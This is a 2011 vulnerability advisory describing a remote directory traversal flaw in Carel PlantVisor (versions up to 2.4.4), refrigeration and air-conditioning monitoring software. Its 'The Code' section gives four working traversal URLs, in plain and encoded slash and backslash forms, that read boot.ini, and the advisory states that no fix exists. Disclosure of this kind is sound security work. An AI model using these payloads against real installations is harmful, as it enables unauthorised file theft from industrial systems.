76 lines
No EOL
1.7 KiB
Text
76 lines
No EOL
1.7 KiB
Text
#######################################################################
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Luigi Auriemma
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Application: Carel PlantVisor
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http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
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Versions: <= 2.4.4
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Platforms: Windows
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Bug: directory traversal
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Exploitation: remote
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Date: 13 Sep 2011
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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From vendor's homepage:
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"PlantVisor Enhanced is monitoring and telemaintenance software for
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refrigeration and air-conditioning systems controlled by CAREL
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instruments."
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#######################################################################
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======
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2) Bug
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======
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CarelDataServer.exe is a web server listening on port 80.
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The software is affected by a directory traversal vulnerability that
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allows to download the files located on the disk where it's installed.
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Both slash and backslash and their HTTP encoded values are supported.
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#######################################################################
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===========
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3) The Code
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===========
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http://SERVER/..\..\..\..\..\..\boot.ini
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http://SERVER/../../../../../../boot.ini
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http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
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http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
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#######################################################################
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======
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4) Fix
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======
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No fix.
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####################################################################### |